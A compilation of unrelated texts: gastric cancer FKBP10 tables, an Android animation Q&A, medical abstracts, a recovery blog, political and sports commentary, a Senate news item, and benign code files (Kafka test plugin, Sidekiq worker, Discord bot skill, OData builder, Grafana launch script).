![Co-expression of P3H4 with FKBP10 in gastric cancer tissues. (A) FKBP10 was significant positive correlation to P3H4 (R=0.89, P\<0.001). P3H4 may be the most likely to interact with FKBP10. (B) P3H4 was significantly overexpressed in gastric cancer tissues \[n=408, log~2~(TPM+1)=3.91\] compared with in normal gastric tissues \[n=36, log~2~(TPM+1)=2.38, \*P\<0.05\]. FKBP10, FK506 binding protein 10; P3H4, prolyl 3-hydroxylase family member 4.](or-42-02-0615-g11){#f12-or-0-0-7195}
######
KEGG and Gene Ontology analysis of co-expression genes associated with FKBP10. (A) Co-expression genes were derived from Gene Expression Profiling Interactive Analysis and The Cancer Genome Atlas data. (B) Co-expression genes were derived from the Coexpedia of Gene Expression Omnibus series dataset. The horizontal axis represents the gene count for each functional term. Colors represent the P-value of function enrichment analysis. Blue indicated higher degrees of significance of gene enrichment analysis than red. BP, biological process; CC, cellular component; KEGG, Kyoto Encyclopedia of Genes and Genomes; MF, molecular function.
######
Information of elected Gene Expression Omnibus series dataset.
Case
----------- ---------- ----------- ------ -----
GSE29272 GPL96 USA 134 134
GSE37023 GPL96 Singapore 112 39
GSE54129 GPL570 China 111 21
GSE64951 GPL570 USA 63 31
GSE13911 GPL570 Italy 38 31
GSE19826 GPL570 China 12 15
GSE79973 GPL570 China 10 10
GSE51725 GPL570 Japan 8 2
GSE27342 GPL5175 USA 80 80
GSE63089 GPL5175 China 45 45
GSE13195 GPL5175 China 25 25
GSE33335 GPL5175 China 25 25
GSE56807 GPL5175 China 5 5
GSE26899 GPL6947 USA 96 12
GSE13861 GPL6884 USA 65 19
GSE65801 GPL14550 China 32 32
GSE103236 GPL4133 Romania 10 9
GSE84787 GPL17077 China 10 10
GC, gastric cancer.
######
Association between gastric cancer and FKBP10 expression and clinicopathological features in The Cancer Genome Atlas.
Clinicopathological parameters Cases (n) FKBP10 expression levels T P-value
-------------------------------- ----------- -------------------------- -------- ----------------------------------------------------
Age
\<60 years 122 10.612 1.089 0.277
≥60 years 288 10.439
Sex
Male 268 10.553 1.216 0.225
Female 147 10.369
Stage
I+II 181 10.385 −1.043 0.298
III+IV 211 10.543
Grade
G1+G2 160 10.626 1.519 0.129
G3 255 10.400
T stage
T1+T2 110 10.499 0.177 0.860
T3+T4 296 10.469
N stage
N1 123 10.251 −1.862 0.063
N2+N3 273 10.550
M stage
M0 367 10.460 −1.113 0.266
M1 27 10.786
Person neoplasm cancer status
Tumor free 237 10.365 −2.107 0.036^[a](#tfn2-or-0-0-7195){ref-type="table-fn"}^
With tumor 135 10.704
Recurrence
No 313 10.416 −1.728 0.085
Yes 102 10.706
P\<0.05. FKBP10, FK506 binding protein 10.
######
Cox regression model analysis of overall survival in patients with gastric cancer.
Univariate analysis Multivariate analysis
---------------------------------- --------------------- ----------------------- ------------------------------------------------------ ------- -------------- ----------------------------------------------------
FKBP10 expression level 1.192 1.076--1.319 0.001^[a](#tfn3-or-0-0-7195){ref-type="table-fn"}^ 1.159 1.042--1.289 0.006^[a](#tfn3-or-0-0-7195){ref-type="table-fn"}^
Age (\<60 vs. ≥60 years) 1.482 1.028--2.136 0.035 1.627 1.117--2.370 0.011
Sex (male vs. female) 0.772 0.546--1.091 0.143
T stage (T1-2 vs. T3-4) 1.799 1.195--2.708 0.005^[a](#tfn3-or-0-0-7195){ref-type="table-fn"}^
N stage (N0 vs. N1-3) 2.096 1.389--3.164 \<0.001^[a](#tfn3-or-0-0-7195){ref-type="table-fn"}^ 2.059 1.357--3.122 0.001^[a](#tfn3-or-0-0-7195){ref-type="table-fn"}^
M stage (M0 vs. M1) 1.137 0.614--2.103 0.683
Histological grade (G1-2 vs. G3) 1.398 0.997--1.961 0.052
P\<0.05. FKBP10, FK506 binding protein 10.
[^1]: Contributed equally
|
Q:
How to override setImageResource correctly so that it keeps the rotation of an ImageButton?
I have created a custom view class that extends ImageButton. I did so because there this new button class allowed me to do some animations.
The actual problem that I have is the following: When I click on the button, I want it to change its image drawable. However, when I set a new image like this
private void setCustomButtonIcon() {
if (mEnabled) {
myCustomButton.setImageResource(R.drawable.mybutton_off);
} else {
myCustomButton.setImageResource(R.drawable.mybutton_on);
}
}
then the rotation that it had, since it may have been rotated during the animation, is not preserved.
Now, the obvious idea is to override setImageResource in my custom button class. How can I do that so that the rotation of the button is preserved?
A:
I think your problem is related to another issue:
Most likely, you are using the Animation class for your animations.
So you probably used the RotationAnimation superclass, did something like
RotateAnimation animation = new RotateAnimation(
fromDegrees, toDegress, pivotX, pivotY);
and applied that animation to your custom button.
However, as it turns out, this only animates a bitmap representation of your button. Or, in other words, the actual button/ view does not get rotated and remains in his orientation.
Therefore, every call to onDraw(), like it happens when you click on the button, will "reset the look" of your button.
So, what you probably want to use is an ObjectAnimator. This will animate the whole view and fix your problem with preserving the state of the object.
You can use the animator just like this, for example:
ObjectAnimator.ofFloat(myButton, "rotation", fromDegrees, -toDegrees)
.setDuration(animationDuration)
.start();
Note: ObjectAnimator was added in API 11. So if you are targeting older versions then you should use Jake Whartons nineoldandroids library. (Download the .jar file and add it to your libs folder in you project.)
|
[Clinical and neuroimaging features of central nervous system impairments in acute intermittent porphyria].
To analyze the clinical and neuroimaging features of central nervous system impairments in acute intermittent porphyria, and explore the possible mechanisms. Six cases with intracranial lesions at our hospital from 1991 to 2011 and 13 cases reported in literatures were retrospectively reviewed. The clinical manifestations of central nervous system impairments included seizures, unconsciousness and cortical blindness, etc. EEG (electroencephalogram) showed slow wave or normal. CSF (cerebrospinal fluid) test indicated slightly higher or normal level of CSF protein. Neuroimaging studies showed two types of intracranial lesions. One type (n = 4) mainly affected the cortex and subcortical white matter, especially involving white matter. Another type (n = 2) affected the deep nuclei such as caudate, putamen and thalamus symmetrically. The symptoms of 13 cases reported in literature with central nervous system impairments included unconsciousness, hallucinations, seizures and cortical blindness. Their neuroimaging manifestations were similar with those of the patients at our hospital. Two additional cases showed predominantly cerebral cortex lesions with no involvement of white matter. Acute intermittent porphyria can affect central nervous system, peripheral nervous system and autonomic nervous system. The neuroimaging features of brain may be lesions located in cortex, subcortical white matter and deep nuclei with different mechanisms. A correct diagnosis and a treatment decision should be made during an early stage. |
This blog is for people who love and care for Kathy Newhouse. On this site, her husband Galen attempts to update the daily events around her recovery and make it easier for people, who are spread around the country, to keep up with the news. I hope not only to keep you informed but be more accurate in describing her progress. We all love Kathy and pray for her full and speedy recovery.
Wednesday, August 16, 2006
Picture of Intraventricular Rupture (File Photo)
MRI shows the abscess communicatingand discharging, through a tract, into theipselateral ventricle. Intraventricular rupture ofan abscess is usually a catastrophic event leadingto ventriculitis and dissemination of organismsthroughout the cerebrospinal fluid pathway.This event accounts for the calamitousdeterioration in the patient’s clinical condition. |
Donald Trump is the most conflicted president in modern US history.
He handpicked his daughter and son-in-law as leading advisers, is the only modern-day president to have never released his tax returns, and continues to profit from multi-national businesses bearing his name.
His Washington hotel has become a destination for some foreign government spending, and then there's the question of how the Trump family's business ties affect foreign policies.
One tenet of his tax outline is a pass-through tax that would benefit him tremendously on a personal level. Sometimes it's even pretty small potatoes: Remember when U.S. embassies around the world briefly promoted Mar-A-Lago?
All of this has opened Trump and his family up to the criticism that they're misusing his presidency for personal gain.
Why should we care? A new International Monetary Fund analysis of corruption's corrosive economic and social effects, is instructive.
To be clear: the IMF is not suggesting the Trump administration is corrupt. That claim is surfacing more often among his political opponents, but that's not really the point here.
The point is that governments focused on the well being of government officials rather than citizens — on any scale — are particularly harmful to the poorest in society. In these places, "infant mortality and dropout rates are especially high, partly due to less spending on health and education. Reduced investment in these areas tends to hurt poor people the most, and contributes to higher inequality," the IMF says.
The Federal Reserve’s Community Advisory Committee recently released a report suggesting Trump’s budget would have similar effects in the United States.
"While capital markets have shown continuing signs of strength, recent budget proposals and executive actions by the new administration, if enacted, would severely constrain capital flow into low- and moderate-income communities," the Fed’s community council said.
In addition to hurting public trust and cutting out the most vulnerable from economic life, corruption can undermine fiscal policy itself — the ability of governments to tax and spend.
"When a significant portion of the population does not pay taxes, the entire tax system can be delegitimized," says IMF legal counselor Sean Hagan says in a video accompanying the analysis.
The report says "corrupt officials are less likely to invest in things that promote inclusive growth and benefit society—like health and education services. Instead, they may choose wasteful construction projects for their GDP."
The Fund’s in-depth corruption study, published last year, also contains passages with echoes of the Trump administration’s first six months in office — particularly its distrust of career, non-partisan government bureaucrats.
"While building institutions is a complex and time-consuming exercise that involves a number of intangible elements that may seem beyond the reach of government policy, the objective is clear: the development of a competent civil service that takes pride in being independent of both private influence and public interference," the Fund says.
Trump has vowed to slash State Department funding by nearly a third, one of many key government functions on the chopping block in his proposed budget.
"With such dire social and economic consequences at stake, the fight against corruption is a priority for the IMF and our member countries," the multilateral lender concludes.
Keep in mind, the IMF is based in Washington, and the United States is one its most influential members. Perhaps that vigilance should begin at home.
The Fund recently issued a direct and damning assessment of Trump’s economic agenda in its latest review of the United States. A separate report, one focused on the types of conflicts and ethical dilemmas the IMF grapples with frequently in the context of borrower nations and how they might apply to lenders too, might be in order. |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package test.plugins;
import java.util.Map;
import java.util.HashMap;
import org.apache.kafka.common.Configurable;
import org.apache.kafka.connect.data.Schema;
import org.apache.kafka.connect.data.SchemaAndValue;
import org.apache.kafka.connect.storage.Converter;
import org.apache.kafka.connect.runtime.isolation.SamplingTestPlugin;
/**
* Samples data about its initialization environment for later analysis
*/
public class SamplingConfigurable extends SamplingTestPlugin implements Converter, Configurable {
private static final ClassLoader STATIC_CLASS_LOADER;
private final ClassLoader classloader;
private Map<String, SamplingTestPlugin> samples;
static {
STATIC_CLASS_LOADER = Thread.currentThread().getContextClassLoader();
}
{
samples = new HashMap<>();
classloader = Thread.currentThread().getContextClassLoader();
}
@Override
public void configure(final Map<String, ?> configs) {
logMethodCall(samples);
}
@Override
public void configure(final Map<String, ?> configs, final boolean isKey) {
}
@Override
public byte[] fromConnectData(final String topic, final Schema schema, final Object value) {
return new byte[0];
}
@Override
public SchemaAndValue toConnectData(final String topic, final byte[] value) {
return null;
}
@Override
public ClassLoader staticClassloader() {
return STATIC_CLASS_LOADER;
}
@Override
public ClassLoader classloader() {
return classloader;
}
@Override
public Map<String, SamplingTestPlugin> otherSamples() {
return samples;
}
}
|
class QueuedMailCreator
include Sidekiq::Worker
sidekiq_options :queue => :queued_mails, :unique => true, :unique_job_expiration => (120 * 60), :retry => 5
def perform(campaign_id, email)
Smailer::Models::QueuedMail.create(to: email, mail_campaign_id: campaign_id)
end
end
|
/*
* OwO Bot for Discord
* Copyright (C) 2019 Christopher Thai
* This software is licensed under Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
* For more information, see README.md and LICENSE
*/
const PassiveInterface = require('../PassiveInterface.js');
const WeaponInterface = require('../WeaponInterface.js');
const Log = require('../util/logUtil.js');
module.exports = class Absolve extends PassiveInterface{
init(){
this.id = 10;
this.name = "Absolve";
this.basicDesc= "";
this.emojis = ["<:cabsolve:562175422343938059>","<:uabsolve:562175424604536843>","<:rabsolve:562175425556774912>","<:eabsolve:562175424969310227>","<:mabsolve:562175424625639435>","<:labsolve:562175424747143209>","<:fabsolve:562175424965115914>"];
this.statDesc = "When healed, deal **?%** of the healed amount to a random enemy as MAG damage";
this.qualityList = [[60,80]];
}
postHealed(animal,healer,amount,tags){
/* Ignore if tags.thorns flag is true */
if(tags.absolve) return;
let totalDamage = amount.reduce((a,b)=>a+b,0)*this.stats[0]/100;
if(totalDamage<1) return;
let logs = new Log();
/* Grab an enemy that I'm attacking */
let attacking = WeaponInterface.getAttacking(animal,tags.allies,tags.enemies);
if(!attacking) return;
let dmg = WeaponInterface.inflictDamage(animal,attacking,totalDamage,WeaponInterface.MAGICAL,{...tags,absolve:true});
logs.push(`[ABSV] ${animal.nickname} damaged ${attacking.nickname} for ${dmg.amount} HP`,dmg.logs);
return logs
}
}
|
The biosynthesis of visual pigment (rhodopsin) and phospholipids and their assembly into rod outer segment disc membranes is being studied in frogs and rats. The interrelationship of phospholipids and rhodopsin in the assembly of the rod discs is being investigated by a combination of radiobiochemical and autoradiographic techniques. These investigations are being conducted using normal rats, and rats suffering from hereditary retinal degeneration (RCS rats). The metabolism of the pigment epithelium in relationship to the phagocytosis of rod outer segments is being studied in normal and RCS rats. The site and mode of attachment of vitamin A to opsin during the biosynthesis of this macromolecule is being investigated. |
HBT’s NFL Pulse Check: Week 13
The reigning conference Champs put the conference upstarts from Minnesota in their place on Sunday afternoon. Seattle’s sluggish start was discussed in this space at length earlier this year and, 10 games later, it sure seems that they’ve found cures for all that ailed them. After starting 0-2, ranking 23rd in defensive DVOA, the Seahawks have won 7 of their last 10 and have now climbed the DVOA rankings all the way up to 7th. That kind of defensive rebound was on display Sunday when the Seahawks shut down Adrian Peterson completely. The NFL’s leading rusher managed just 18 yards on 8 carries.
Seattle’s defense rounding into form was bound to happen sooner or later, so although it’s scary it’s hardly surprising. What is surprising is just how good an offense they’ve managed to put together in Marshawn Lynch’s absence. Undrafted rookie running back Thomas Rawls continued to make Beast Mode look superfluous with another strong showing (19 carries, 101 yards). Rawls’ breakout has been largely thanks to an offensive line that has managed to provide good push in the running game.
Russell Wilson, on the other hand, owes none of his success to his offensive line, as the Seahawks have been arguably the worst pass protection unit in the League this season. After taking that into consideration, one has to stand in awe of what Wilson has been able to accomplish this season and particularly in the last few games. In the last three Seahawks’ wins, Wilson has gone 66/86 for 879 yards, 11 Touchdown passes and 0 Interceptions. He’s playing as well as anyone in the game and if he can stay in anything close to this form, Seattle is going to be very tough to beat.
Minnesota learned that the hard way. All the same, the Vikings and their fans should still be bullish on their chances of making the Playoffs. Thanks to the Rams and Falcons dropping off a cliff in the last five weeks, going a paltry 1-3 over their remaining four games to finish 9-7 will likely be good enough to snag a wildcard spot in the NFC. It was clear, however, that this game featured only one team that looks likely to do damage and cause problems once they qualify.
The Seahawks have benefitted from bye weeks and their vaunted home field advantage in their last two Playoff runs, advantages they are nearly certain not to have this year. All the same, it’s time for the entire NFL to go back to being very, very afraid of Seattle. They are finding their form at the best possible moment and they can beat anybody when they’re playing like this.
What Everyone Is Talking About: Eagles 35 – Patriots 28
Playoff Implications: AFC East Division Championship; AFC’s #1 seed; NFC East Division Championship, Because Someone Has to Win, I Guess.
There is no mystery about who the eventual Champions will be here. At 10-2 with a dominant three-game lead, the Patriots winning their 7th straight (and 12th in the last 13 years. Christ.) division crown is just a matter of time. All the same, a team that doesn’t lose very much has slid backwards into a tie for home field advantage in the AFC thanks to a couple of rough weeks.
A furious but futile garbage time comeback attempt fell short in this game that was much more lopsided than the scoreboard would have you believe. The Eagles’ defense and special teams led the effort in one of the more surprising upsets of the season to this point. The Patriots threw the kitchen sink at the Eagles, resorting to a long play designed to turn Tom Brady into a receiver and a drop kick on the kickoff, of all things, but it wasn’t enough. The Patriots have given up 65 points in the last two weeks against two offenses that have really struggled this season. However, the Eagles offense was only responsible for 14 of Philly’s points, so there’s only so much blame to be assigned to the defense for this one.
To say that the last two weeks have exposed the Patriots in any meaningful sense would be an exaggeration. All these two games have shown is that the Patriots’ offense is quite limited in what it can do when Brady doesn’t have any of his top three preferred receiving targets (Dion Lewis, Rob Gronkowski, Julian Edelman). Gronkowski is the most important of those three, and he’s expected to be back soon. The division race is over. The perfect season is over. But, the Patriots still have the possibility of home field advantage in the playoffs to play for. A relatively easy remaining schedule and a return to health for Gronkowski before the postseason means that the Patriots are still very much a part of the Super Bowl discussion.
As for the Eagles, they somehow find themselves tied… TIED… for first place in the NFC East with a 5-7 record. And with head-to-head games remaining against Washington and the Giants, you can’t rule them out yet. God the NFC East is the worst.
The only AFC division that hasn’t been sewn up is the South where all four teams stink, so this game was actually very important in terms of the AFC wildcard spots. Kansas City’s win, fueled by a 20-point fourth quarter rally, both kept them level with the Jets and Steelers at 7-5 and knocked one of their competing teams down to two games back with four remaining.
The Chiefs’ playoff chances now look very good with an easy remaining schedule (Chargers, @Ravens, Browns, Raiders) and the Raiders chances now boil down a four game run of highly inspired play. Their remaining schedule is brutal, with games against Denver, Green Bay, San Diego, and Kansas City still to come.
This game was a strange experience for the viewer. One can’t help but be disappointed that it seems that the Raiders’ season is over because they have been a shocking amount of fun to watch this year. At the same time, it’s very exciting when a team is really enjoying their football and the Chiefs are SO good right now!
Your “Football is the Best” Moment of the Week: Packers 27 – Lions 23
It took the Football Gods more than three years to make good on their Fail Mary debt to Green Bay, but they finally got them back with one of the most improbable last plays you’ll ever see on this week’s installment of Thursday Night Football. Watching the Packers has been a very strange experience this year. Banged up to hell though they are, one can’t help feeling that they shouldn’t be this poor and barely scratching out such unimpressive wins.
Your “Football is the Worst” Moment of the Week
Although this was one of the more entertaining weeks of the season, this week was awash in moments that left fans pulling their hair out. We have to break this down into two different sections.
Playoff Implications: AFC Wildcard; NFC East Division Championship, Because Someone Has to Win, I Guess
The Jets emerged victorious in the battle for Gotham’s soul as the Giants found a way to fart away another commanding fourth quarter lead. Meanwhile, the Redskins celebrated their first week in first place by laying a turd on national television against Matt Cassell and the Cowboys. Both teams are now 5-7 and deadlocked with the Eagles in first place in the NFC East. For the Giants, this is the third time this season that they have managed to lose a game in which they held a double-digit fourth quarter lead. As for the Redskins, it’s very hard to overstate just how bad Dallas has been without Tony Romo this year. They’ve been inarguably one of the worst teams in the NFL yet somehow, thanks to this win, sit just one game out of first place.
Playoff Implications: AFC Wildcards; AFC South Division Championship, Because Someone Also Has to Win This One, I Guess.
As poor as the Eagles, Giants, and Redskins have all looked this season, there’s a case to be made for all three of those teams being better than both the Colts and the Texans. No one wants to win either of these divisions. It’s incredible.
Other Notes
Broncos 17 – Chargers 3: Denver’s defense shut down Philip Rivers and the Chargers to maintain their stranglehold on their division and move into a tie with New England for the Conference’s top seed in the playoffs.
Bengals 37 – Browns 3: The Bengals took one more step toward ending another intrigue-less playoff race. Like the Patriots, the Bengals sport a 10-2 record and a three-game lead. This division is over all but mathematically. The Bengals have a chance to make it official when they play the second-placed, 7-5 Steelers next Sunday.
Panthers 41 – Saints 38: … Are the Panthers about to go 16-0? They have two remaining games against the Falcons, who stink and their other two are against the Giants and the Buccaneers. One has to figure that they’d be heavily favored in each of those games. The biggest obstacle, it would seem, would be Ron Rivera possibly pulling Cam Newton in Weeks 16 or 17 if the Panthers have already sewn up home field advantage throughout the NFC Playoffs. There aren’t enough good things to say about how much fun this team has been to watch all year; such a wonderful, pleasant surprise for NFL fans.
Author
Peter Curtin is a working professional based in Washington, DC. A life-long sports fan, he has previously written as a contributor for Philadelphia-based sports site, thewoodercooler.com. Follow him on Twitter @Pete_Curtin. |
Senate theatrics over Obama debt limit plan
12/6/12 1:45 PM EST
Senate Majority Leader Harry Reid announced on the floor Thursday he planned to call Sen. Mitch McConnell's bluff and hold a vote on the president's proposal to deal with the debt limit.
McConnell had requested a vote on the offer in the morning that included the Obama administration’s offer on resolving the so-called fiscal cliff. It includes a permanent, “unlimited” debt limit hike with no spending cuts attached, along with a provision that would allow Congress to disapprove the debt increase. McConnell said President Barack Obama is “the last person who should have limitless borrowing power.”
In the morning, Reid swiftly objected to the idea. But then, in typical Senate theatrical fashion, Reid changed his mind said he wanted to hold a Thursday afternoon vote. A Democratic aide said the White House coordinated the move with Reid, and the Majority Leader had secured the 51 votes needed to pass the proposal on an up or down vote.
“Senator McConnell made a serious offer dealing with the debt ceiling of this country, one of the most important issues facing the country,” Reid said. “It’s a serious offer. I personally haven’t read it. My staff has looked at it. It’s important enough that I would like to have a vote on it this afternoon.”
“What we’re talking about here is a perpetual debt ceiling grant in effect to the President. Matters of this level of controversy always require 60 votes,” McConnell said. “So I would ask my friend, the Majority Leader, if he would modify his consent agreement.”
Reid said McConnell’s objection was a “case of Republicans refusing to take yes for an answer.”
“This morning the Republican leader asked consent to have a vote on this proposal. Now I told everyone that we are willing to have that vote, up-or-down vote,” Reid said. “Now the Republican leader objects to his own idea. So I guess we have a filibuster of his own bill.”
In a briefing with reporters, Sen. Chuck Schumer (D-N.Y.) said Senate Democrats had 51 votes “at a minimum” to pass the proposal.
“Senator McConnell’s usually very astute political radar is off today,” Schumer added. |
Mother-to-child transmission of cryptococcus neoformans.
Cryptococcal meningitis was diagnosed in a 92-day-old boy who was not HIV-1-infected and who survived after treatment, although with hydrocephalus. The mother was HIV-1-infected, delivered prematurely, had peripartum cryptococcal meningitis and died 14 days postpartum. There was no other possible source for cryptococcal infection in this infant. This is believed to be a case of mother-to-child transmission of cryptococcosis. |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for license information.
using System;
using Microsoft.AspNet.OData.Common;
using Microsoft.OData.Edm;
namespace Microsoft.AspNet.OData.Builder
{
/// <summary>
/// Represents an <see cref="IEdmEntitySet"/> that can be built using <see cref="ODataModelBuilder"/>.
/// <typeparam name="TEntityType">The element type of the entity set.</typeparam>
/// </summary>
public class EntitySetConfiguration<TEntityType> : NavigationSourceConfiguration<TEntityType>
where TEntityType : class
{
internal EntitySetConfiguration(ODataModelBuilder modelBuilder, string name)
: base(modelBuilder, new EntitySetConfiguration(modelBuilder, typeof(TEntityType), name))
{
}
internal EntitySetConfiguration(ODataModelBuilder modelBuilder, EntitySetConfiguration configuration)
: base(modelBuilder, configuration)
{
}
internal EntitySetConfiguration EntitySet
{
get { return (EntitySetConfiguration)Configuration; }
}
/// <summary>
/// Adds a self link to the feed.
/// </summary>
/// <param name="feedSelfLinkFactory">The builder used to generate the link URL.</param>
public virtual void HasFeedSelfLink(Func<ResourceSetContext, string> feedSelfLinkFactory)
{
if (feedSelfLinkFactory == null)
{
throw Error.ArgumentNull("feedSelfLinkFactory");
}
EntitySet.HasFeedSelfLink(feedContext => new Uri(feedSelfLinkFactory(feedContext)));
}
/// <summary>
/// Adds a self link to the feed.
/// </summary>
/// <param name="feedSelfLinkFactory">The builder used to generate the link URL.</param>
public virtual void HasFeedSelfLink(Func<ResourceSetContext, Uri> feedSelfLinkFactory)
{
if (feedSelfLinkFactory == null)
{
throw Error.ArgumentNull("feedSelfLinkFactory");
}
EntitySet.HasFeedSelfLink(feedSelfLinkFactory);
}
/// <summary>
/// Adds subtypes to the list of derived type constraints.
/// </summary>
/// <param name="subtypes">The subtypes for which the constraint needs to be added.</param>
/// <returns>Updated configuration object.</returns>
public EntitySetConfiguration<TEntityType> HasDerivedTypeConstraints(params Type[] subtypes)
{
EntitySet.HasDerivedTypeConstraints(subtypes);
return this;
}
/// <summary>
/// Adds TDerivedType to the list of derived type constraints.
/// </summary>
/// <returns>Updated configuration object.</returns>
public EntitySetConfiguration<TEntityType> HasDerivedTypeConstraint<TDerivedType>()
{
EntitySet.HasDerivedTypeConstraints(typeof(TDerivedType));
return this;
}
}
}
|
#!/bin/bash
cd /usr/share/grafana.rkt
grafana-server -config /etc/grafana.rkt/grafana.ini cfg:default.paths.data=/var/lib/grafana.rkt 1>/var/log/grafana.rkt.log 2>&1
|
GUESTWORDS: The Name Game
By January Kerr
| October 6, 2011 - 9:50am
On the eve of the 21st century, a new generation of professional women entered the work force. With them, a trend in feminist surnames was emerging: the taking of their husbands’ last names as their own. Is the trend a shift backward? Or does it indicate the completion of a circle?
Despite what people may think, the trend certainly symbolizes a desire for simplicity. The past three decades saw a deluge of information, new technology, and societal upheaval. As a result of this chaos, time seemed to speed up. Modern professional women were looking for a way to streamline the complicated issues they are confronted with each day. Identity is just one of those issues.
As a young lawyer, I adamantly did not want to take my fiancé’s last name. I wanted my identity and my career to remain intact and separate from his. Fast-forward a few years to a different fiancé: I was giddy at the prospect of waiting on line at the D.M.V. to get my husband’s surname emblazoned on my driver’s license. What changed?
On the surface, I thought it was simply because my husband’s last name was monosyllabic like my maiden name. The ring of my name did not change. A deeper examination revealed that I was beginning a different phase of my life and evolving into a new (and hopefully improved) version of myself. I became softer. Maybe even a little more patient. I was growing up.
Once I was frightened of becoming someone’s wife or mother. I never wanted to become someone else’s anything. I just wanted to be me. But slowly my fear of background relegation began to dissipate. I started to relish the idea of taking on the role of wife and mother. I was becoming aware of my true identity and, ultimately, my place in the universe. A transition such as this is often fraught with angst and fear as one struggles to pull away from the person formerly known as “me.”
Once thought of as something people just did after college, marriage came to symbolize so much more. Marriage is the coming together of each individual to form a powerful unit better able to navigate time and space. Marriage is the creation of something bigger than oneself — a concept that the younger me could never appreciate. Marriage is an equal combination of characteristics of two people, where weaknesses are diminished while strengths soar. Marriage is about flourishing, not overshadowing.
Today, professional women rarely keep their maiden names for their careers while reserving their married names strictly for their personal lives. In a world dominated by chaos and confusion, the use of two different names became too convoluted. Even less popular is the hyphenation method.
And even less popular than that is the blender method, the blending of two names into one weird and confusing last name devoid of history. Typically, once a professional woman gets married, she will simply tack her new surname on after her maiden name with nothing more than a space to herald her new identity. After a sufficient amount of time has passed for colleagues to become familiar with the new surname, she will unceremoniously drop the maiden name.
The idea of bucking the surname norm to assert feminist individualism started in the middle of the 19th century. Lucy Stone was the first American woman to keep her birth name after marriage, leading to the moniker Lucy Stoners for all those who followed her. (Women in my generation didn’t have to shun their husbands’ names to earn the “stoner” label.)
In 1921, Ruth Hale, a journalist, formed the Lucy Stone League. Seeing an impossible social task, the league slowly disbanded. Since its inception, it has been revived three times. Now in its latest revival, which started in 1997, the league touts “equal rights for women and men to retain, modify, and create their names.”
Despite the efforts of the league and its predecessors, a woman’s right to adopt her husband’s family name as her own continues to be a widely practiced tradition. According to a 2005 study conducted by Diana Boxer, a professor of linguistics at the University of Florida, the vast majority of women surveyed had taken their husbands’ surnames for the sake of family unity. Ms. Boxer depicts this as a failure of the feminist movement because “societal traditions and gendered hegemony are so hard to overcome.”
Consistently viewing this tradition as harmful to a woman’s individual identity is antiquated. Instead, the return to tradition should be celebrated as a marker of the strength of feminist ideals and achievements while honoring family values.
Women in America are successful. The acceptance of multifaceted roles such as wife, mother, and professional allows women to express themselves in ways never thought possible. It used to be that when a young woman was brought to the altar, her name was all that gave her any sense of identity.
Professional women no longer have time to focus on a symbolic gesture when this world has entrusted us with more important tasks. Women make discoveries in science and technology. Women mold our society with legal opinions and social commentary. Women produce legislation. Women color our world with art while providing the soundtrack to the stories we write.
While doing all this, they continue to define our future as nurturing mothers. It is precisely because of this ability to create and nurture as applied to their roles in American society that women have also made more choice for themselves.
When a newly engaged woman starts thinking about her surname, she has many options. Not only is it a testament to honor and tradition that modern women are adopting husbands’ surnames, it is also a wink and a nod to the notion that a woman’s identity inevitably becomes entangled with her husband’s. Instead, she can continue her life’s work while gracefully fashioning a coexistent life as a wife and mother. If power is choice, then the feminist name game proves just how powerful women are.
I did not examine the genesis of my husband’s surname or my maiden name until we were expecting our first child. We wanted to grace our daughter with a moniker that combined the heritage of both families. My Germanic maiden name, Marsch, means marsh, indicating that my paternal ancestors lived near or made their livelihood from the marshlands. The surname Kerr is descended from the Scottish Kerr clan, a border clan that often lived in and made their living from swamps.
__January Kerr, a lawyer turned writer, lives in East Hampton with her husband, their 23-month-old daughter, and an Alaskan malamute. |
/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
var EXPORTED_SYMBOLS = ["AboutCertViewerChild"];
const { RemotePageChild } = ChromeUtils.import(
"resource://gre/actors/RemotePageChild.jsm"
);
class AboutCertViewerChild extends RemotePageChild {}
|
[Diagnostic value of different methods applied for detecting Helicobacter pylori infection in gastric mucosa].
The aim of the paper comprised: 1) estimating the incidence of Helicobacter pylori (H. pylori) infection in subjects directed to undergo endoscopic examination due to ailments involving the upper segments of the alimentary tract, 2) determination of the degree of H. pylorii infection detectability on the basis of invasive methods (bacterial culture, urease test and histological examination of specimens stained by Giemsa method) and non-invasive (serological investigation, skin test) with endoscopic image and histopathologic changes in gastric mucosa being talken into consideration, 3) assessing the titer of class IgG anti-H. pylori antibodies in subjects with endoscopic and histopathologic changes of gastric mucosa, infected by H. pylori, as well as persons after eradication of bacteria, 4) estimating the diagnostic value of individual methods. The study material consisted of 428 patients (224 women and 204 men) investigated at Endoscopy Laboratory of Internal Diseases Clinic in the years 1991-1994. Bacterial cultures and urease tests were performed in all the studied subjects, 230 specimens stained by Giemsa method were examined histopathologically, in 351 subjects the titer of class IgG anti-H. pylori antibodies in blood serum were determined by ELISA method, while in 73 persons the skin test from the suspension of dead bacterial colonies was carried out. Histopathological examination of mucosal sections was accomplished in 396 studied subjects, assessing the histological type of mucosal inflammation in H. pylorii infected persons and in those having not been infected. The applicability of the respective diagnostic methods was examined by calculating the sensitivity and specificity of the given method, and taking into account the results of bacterial culture as the reference method. It is evident from the performed investigations that the majority of subjects, having been endoscopically studied because of ailments stemming from the upper segment of the alimentary tract, were infected by H. pylori (Tab. 1, 2, 3). H. pylori colonisation in gastric mucosa was often accompanied by pathological changes of the stomach and duodenum in the endoscopic and histopathologic images. In the routine clinical diagnostics the urease test, histological examination of specimens stained by Giemsa method as well as bacterial culture are valuable methods of detecting H. pylorii infection. With regard to medium and high values of the titer of antibodies IgG anti-H. pylori, the serological investigation as a non-invasive method displays a high compliance with positive results of invasive examinations (Tab. 5, Fig. 1, 2, 3). An early skin test may become a screening method for detecting H. pylori infection, after its methodical modification. |
